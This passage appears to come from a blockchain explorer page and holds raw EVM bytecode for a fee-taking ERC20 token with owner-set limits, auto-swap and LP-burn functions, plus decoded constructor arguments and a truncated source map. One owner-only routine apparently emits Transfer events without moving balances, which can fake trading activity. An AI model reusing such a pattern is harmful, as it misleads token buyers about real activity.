ff021916908315150217905550505050565b5f61137361211c565b5f601560026101000a81548160ff0219169083151502179055506001905090565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6113c161211c565b6001601560066101000a81548160ff0219169083151502179055506001601560036101000a81548160ff0219169083151502179055504260108190555043601481905550565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61145c61211c565b80601560036101000a81548160ff02191690831515021790555050565b60606005805461148890613caa565b80601f01602080910402602001604051908101604052809291908181526020018280546114b490613caa565b80156114ff5780601f106114d6576101008083540402835291602001916114ff565b820191905f5260205f20905b8154815290600101906020018083116114e257829003601f168201915b5050505050905090565b61151161211c565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790614033565b60405180910390fd5b6115aa8282612a2f565b5050565b60135481565b60175481565b6115c261211c565b80601560046101000a81548160ff02191690831515021790555050565b5f61169d6115eb611f52565b8461169885604051806060016040528060258152602001614cce6025913960015f611614611f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546129709092919063ffffffff16565b611f59565b6001905092915050565b60105481565b601560049054906101000a900460ff1681565b5f6116d36116cc611f52565b848461219a565b6001905092915050565b6116e561211c565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6117ab61211c565b5f5b83839050811015611878578383828181106117cb576117ca613cda565b5b90506020020160208101906117e09190613a27565b73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161185d9190613a0e565b60405180910390a3808061187090613d34565b9150506117ad565b50505050565b601a602052805f5260405f205f915054906101000a900460ff1681565b601560069054906101000a900460ff1681565b6118b661211c565b670de0b6b3a76400006103e8600f6118cc610e1f565b6118d69190613d7b565b6118e09190613de9565b6118ea9190613de9565b81101561192c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611923906140c1565b60405180910390fd5b670de0b6b3a7640000816119409190613d7b565b600e8190555050565b61195161211c565b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506119bd60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001612a2f565b50565b601560059054906101000a900460ff1681565b600c5481565b5f6119e261211c565b620186a060016119f0610e1f565b6119fa9190613d7b565b611a049190613de9565b821015611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d9061414f565b60405180910390fd5b6103e86005611a53610e1f565b611a5d9190613d7b565b611a679190613de9565b821115611aa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa0906141dd565b60405180910390fd5b81600d8190555060019050919050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600d5481565b5f611b4a61211c565b5f601560056101000a81548160ff0219169083151502179055506001905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b611bc561211c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2a9061426b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b5f611d0061211c565b601254601354611d109190614289565b4211611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4890614306565b60405180910390fd5b6103e8821115611d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8d90614394565b60405180910390fd5b426013819055505f3073ffffffffffffffffffffffffffffffffffffffff166370a0823160095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611df89190613adc565b602060405180830381865afa158015611e13573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e3791906143c6565b90505f611e61612710611e538685612acd90919063ffffffff16565b612b4490919063ffffffff16565b90505f811115611e9a57611e9960095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead83612b8d565b5b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015611f04575f80fd5b505af1158015611f16573d5f803e3d5ffd5b505050507f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb60405160405180910390a160019350505050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbe90614461565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202c906144ef565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161210f9190613a0e565b60405180910390a3505050565b612124611f52565b73ffffffffffffffffffffffffffffffffffffffff16612142612e16565b73ffffffffffffffffffffffffffffffffffffffff1614612198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218f90614557565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ff906145e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226d90614673565b60405180910390fd5b5f810361228d5761228883835f612b8d565b61296b565b4360085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550601560029054906101000a900460ff161561267a576122ec611407565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561235a575061232a611407565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561239257505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123cc575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123e4575060155f9054906101000a900460ff16155b1561267957601560069054906101000a900460ff166124e457600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806124a45750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6124e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124da906146db565b60405180910390fd5b5b601a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015612581575060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156125d057600c548111156125cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c290614769565b60405180910390fd5b612678565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661267757600e5461262a83611195565b826126359190614289565b1115612676576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266d906147d1565b60405180910390fd5b5b5b5b5b601560059054906101000a900460ff1680156126dd5750601a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156127f7576126ea611407565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561276b575060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156127f6576127b660085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e29565b6127f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ec9061485f565b60405180910390fd5b5b5b5f61280130611195565b90505f600d548210159050808015612825575060155f9054906101000a900460ff16155b80156128785750601a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156128b957600160155f6101000a81548160ff02191690831515021790555061289f612e34565b5f60155f6101000a81548160ff0219169083151502179055505b60155f9054906101000a900460ff1615801561291b5750601a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156129335750601560019054906101000a900460ff165b801561294e575060115460105461294a9190614289565b4210155b1561295d5761295b613103565b505b612968858585612b8d565b50505b505050565b5f8383111582906129b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ae919061377d565b60405180910390fd5b505f83856129c5919061487d565b9050809150509392505050565b5f8082846129e09190614289565b905083811015612a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1c906148fa565b60405180910390fd5b8091505092915050565b80601a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f808303612add575f9050612b3e565b5f8284612aea9190613d7b565b9050828482612af99190613de9565b14612b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3090614988565b60405180910390fd5b809150505b92915050565b5f612b8583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613294565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf2906145e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c6090614673565b60405180910390fd5b612c748383836132f5565b612cdd81604051806060016040528060268152602001614c80602691395f808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546129709092919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612d6c815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546129d290919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e099190613a0e565b60405180910390a3505050565b5f80612e206132fa565b90508091505090565b5f4382119050919050565b5f612e3e30611195565b90505f601754601854601654612e549190614289565b612e5e9190614289565b90505f80831480612e6e57505f82145b15612e7b57505050613101565b6014600d54612e8a9190613d7b565b831115612ea3576014600d54612ea09190613d7b565b92505b5f60028360165486612eb59190613d7b565b612ebf9190613de9565b612ec99190613de9565b90505f612edf828661339e90919063ffffffff16565b90505f479050612eee826133e7565b5f612f02824761339e90919063ffffffff16565b90505f612f2c87612f1e60185485612acd90919063ffffffff16565b612b4490919063ffffffff16565b90505f612f5688612f4860175486612acd90919063ffffffff16565b612b4490919063ffffffff16565b90505f818385612f66919061487d565b612f70919061487d565b90505f6016819055505f6018819055505f601781905550600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051612fcc906149d3565b5f6040518083038185875af1925050503d805f8114613006576040519150601f19603f3d011682016040523d82523d5f602084013e61300b565b606091505b5050809850505f8711801561301f57505f81115b1561306c5761302e878261361a565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601654604051613063939291906149e7565b60405180910390a15b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516130b1906149d3565b5f6040518083038185875af1925050503d805f81146130eb576040519150601f19603f3d011682016040523d82523d5f602084013e6130f0565b606091505b505080985050505050505050505050505b565b5f426010819055505f3073ffffffffffffffffffffffffffffffffffffffff166370a0823160095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016131669190613adc565b602060405180830381865afa158015613181573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906131a591906143c6565b90505f6131d16127106131c3600f5485612acd90919063ffffffff16565b612b4490919063ffffffff16565b90505f81111561320a5761320960095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead83612b8d565b5b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015613274575f80fd5b505af1158015613286573d5f803e3d5ffd5b505050506001935050505090565b5f80831182906132da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132d1919061377d565b60405180910390fd5b505f83856132e89190613de9565b9050809150509392505050565b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146133765760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613399565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f6133df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612970565b905092915050565b5f600267ffffffffffffffff81111561340357613402614a1c565b5b6040519080825280602002602001820160405280156134315781602001602082028036833780820191505090505b50905030815f8151811061344857613447613cda565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156134eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061350f9190614a5d565b8160018151811061352357613522613cda565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613588307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611f59565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016135e9959493929190614b78565b5f604051808303815f87803b158015613600575f80fd5b505af1158015613612573d5f803e3d5ffd5b505050505050565b613645307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611f59565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8061dead426040518863ffffffff1660e01b81526004016136ab96959493929190614bd0565b60606040518083038185885af11580156136c7573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906136ec9190614c2f565b5050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561372a57808201518184015260208101905061370f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61374f826136f3565b61375981856136fd565b935061376981856020860161370d565b61377281613735565b840191505092915050565b5f6020820190508181035f8301526137958184613745565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6137ce826137a5565b9050919050565b6137de816137c4565b81146137e8575f80fd5b50565b5f813590506137f9816137d5565b92915050565b5f819050919050565b613811816137ff565b811461381b575f80fd5b50565b5f8135905061382c81613808565b92915050565b5f80604083850312156138485761384761379d565b5b5f613855858286016137eb565b92505060206138668582860161381e565b9150509250929050565b5f8115159050919050565b61388481613870565b82525050565b5f60208201905061389d5f83018461387b565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126138c4576138c36138a3565b5b8235905067ffffffffffffffff8111156138e1576138e06138a7565b5b6020830191508360208202830111156138fd576138fc6138ab565b5b9250929050565b61390d81613870565b8114613917575f80fd5b50565b5f8135905061392881613904565b92915050565b5f805f604084860312156139455761394461379d565b5b5f84013567ffffffffffffffff811115613962576139616137a1565b5b61396e868287016138af565b935093505060206139818682870161391a565b9150509250925092565b5f819050919050565b5f6139ae6139a96139a4846137a5565b61398b565b6137a5565b9050919050565b5f6139bf82613994565b9050919050565b5f6139d0826139b5565b9050919050565b6139e0816139c6565b82525050565b5f6020820190506139f95f8301846139d7565b92915050565b613a08816137ff565b82525050565b5f602082019050613a215f8301846139ff565b92915050565b5f60208284031215613a3c57613a3b61379d565b5b5f613a49848285016137eb565b91505092915050565b5f60208284031215613a6757613a6661379d565b5b5f613a748482850161381e565b91505092915050565b5f805f60608486031215613a9457613a9361379d565b5b5f613aa1868287016137eb565b9350506020613ab2868287016137eb565b9250506040613ac38682870161381e565b9150509250925092565b613ad6816137c4565b82525050565b5f602082019050613aef5f830184613acd565b92915050565b5f60ff82169050919050565b613b0a81613af5565b82525050565b5f602082019050613b235f830184613b01565b92915050565b5f805f60608486031215613b4057613b3f61379d565b5b5f613b4d8682870161381e565b9350506020613b5e8682870161381e565b9250506040613b6f8682870161391a565b9150509250925092565b5f60208284031215613b8e57613b8d61379d565b5b5f613b9b8482850161391a565b91505092915050565b5f8060408385031215613bba57613bb961379d565b5b5f613bc7858286016137eb565b9250506020613bd88582860161391a565b9150509250929050565b5f805f60408486031215613bf957613bf861379d565b5b5f84013567ffffffffffffffff811115613c1657613c156137a1565b5b613c22868287016138af565b93509350506020613c358682870161381e565b9150509250925092565b5f8060408385031215613c5557613c5461379d565b5b5f613c62858286016137eb565b9250506020613c73858286016137eb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680613cc157607f821691505b602082108103613cd457613cd3613c7d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f613d3e826137ff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613d7057613d6f613d07565b5b600182019050919050565b5f613d85826137ff565b9150613d90836137ff565b9250828202613d9e816137ff565b91508282048414831517613db557613db4613d07565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613df3826137ff565b9150613dfe836137ff565b925082613e0e57613e0d613dbc565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e74205f8201527f6c6f776572207468616e20302e35250000000000000000000000000000000000602082015250565b5f613e73602f836136fd565b9150613e7e82613e19565b604082019050919050565b5f6020820190508181035f830152613ea081613e67565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e2074685f8201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b5f613f016033836136fd565b9150613f0c82613ea7565b604082019050919050565b5f6020820190508181035f830152613f2e81613ef5565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e742062655f8201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b5f613f8f6030836136fd565b9150613f9a82613f35565b604082019050919050565b5f6020820190508181035f830152613fbc81613f83565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f61401d6039836136fd565b915061402882613fc3565b604082019050919050565b5f6020820190508181035f83015261404a81614011565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e205f8201527f312e352500000000000000000000000000000000000000000000000000000000602082015250565b5f6140ab6024836136fd565b91506140b682614051565b604082019050919050565b5f6020820190508181035f8301526140d88161409f565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e5f8201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b5f6141396035836136fd565b9150614144826140df565b604082019050919050565b5f6020820190508181035f8301526141668161412d565b9050919050565b7f5377617020616d6f756e742063616e6e6f7420626520686967686572207468615f8201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b5f6141c76034836136fd565b91506141d28261416d565b604082019050919050565b5f6020820190508181035f8301526141f4816141bb565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6142556026836136fd565b9150614260826141fb565b604082019050919050565b5f6020820190508181035f83015261428281614249565b9050919050565b5f614293826137ff565b915061429e836137ff565b92508282019050808211156142b6576142b5613d07565b5b92915050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973685f82015250565b5f6142f06020836136fd565b91506142fb826142bc565b602082019050919050565b5f6020820190508181035f83015261431d816142e4565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f5f8201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b5f61437e602a836136fd565b915061438982614324565b604082019050919050565b5f6020820190508181035f8301526143ab81614372565b9050919050565b5f815190506143c081613808565b92915050565b5f602082840312156143db576143da61379d565b5b5f6143e8848285016143b2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61444b6024836136fd565b9150614456826143f1565b604082019050919050565b5f6020820190508181035f8301526144788161443f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6144d96022836136fd565b91506144e48261447f565b604082019050919050565b5f6020820190508181035f830152614506816144cd565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6145416020836136fd565b915061454c8261450d565b602082019050919050565b5f6020820190508181035f83015261456e81614535565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6145cf6025836136fd565b91506145da82614575565b604082019050919050565b5f6020820190508181035f8301526145fc816145c3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61465d6023836136fd565b915061466882614603565b604082019050919050565b5f6020820190508181035f83015261468a81614651565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f6146c56016836136fd565b91506146d082614691565b602082019050919050565b5f6020820190508181035f8301526146f2816146b9565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f6147536036836136fd565b915061475e826146f9565b604082019050919050565b5f6020820190508181035f83015261478081614747565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f6147bb6013836136fd565b91506147c682614787565b602082019050919050565b5f6020820190508181035f8301526147e8816147af565b9050919050565b7f5472616e736665722044656c617920656e61626c65642e20204f6e6c79206f6e5f8201527f652070757263686173652070657220626c6f636b20616c6c6f7765642e000000602082015250565b5f614849603d836136fd565b9150614854826147ef565b604082019050919050565b5f6020820190508181035f8301526148768161483d565b9050919050565b5f614887826137ff565b9150614892836137ff565b92508282039050818111156148aa576148a9613d07565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6148e4601b836136fd565b91506148ef826148b0565b602082019050919050565b5f6020820190508181035f830152614911816148d8565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6149726021836136fd565b915061497d82614918565b604082019050919050565b5f6020820190508181035f83015261499f81614966565b9050919050565b5f81905092915050565b50565b5f6149be5f836149a6565b91506149c9826149b0565b5f82019050919050565b5f6149dd826149b3565b9150819050919050565b5f6060820190506149fa5f8301866139ff565b614a0760208301856139ff565b614a1460408301846139ff565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050614a57816137d5565b92915050565b5f60208284031215614a7257614a7161379d565b5b5f614a7f84828501614a49565b91505092915050565b5f819050919050565b5f614aab614aa6614aa184614a88565b61398b565b6137ff565b9050919050565b614abb81614a91565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b614af3816137c4565b82525050565b5f614b048383614aea565b60208301905092915050565b5f602082019050919050565b5f614b2682614ac1565b614b308185614acb565b9350614b3b83614adb565b805f5b83811015614b6b578151614b528882614af9565b9750614b5d83614b10565b925050600181019050614b3e565b5085935050505092915050565b5f60a082019050614b8b5f8301886139ff565b614b986020830187614ab2565b8181036040830152614baa8186614b1c565b9050614bb96060830185613acd565b614bc660808301846139ff565b9695505050505050565b5f60c082019050614be35f830189613acd565b614bf060208301886139ff565b614bfd6040830187614ab2565b614c0a6060830186614ab2565b614c176080830185613acd565b614c2460a08301846139ff565b979650505050505050565b5f805f60608486031215614c4657614c4561379d565b5b5f614c53868287016143b2565b9350506020614c64868287016143b2565b9250506040614c75868287016143b2565b915050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ec1cb76dd6b0312696a6a80409e7de6690000c30e5a97adefa599a0f955edcb364736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000bc1861af83f8f8095c856b3a7e518c8d0031a7760000000000000000000000000000000000000000000000000000000000000001
-----Decoded View---------------
Arg [0] : dex_ (address): 0xbc1861Af83F8F8095C856B3A7e518c8D0031a776
Arg [1] : d (uint256): 1
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000bc1861af83f8f8095c856b3a7e518c8d0031a776
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000001
Deployed Bytecode Sourcemap
164:12091:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;996:100:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3169:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4293:187:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;240:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2118:108:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5166:157:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;769:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;622:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1169:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1243;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4050:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;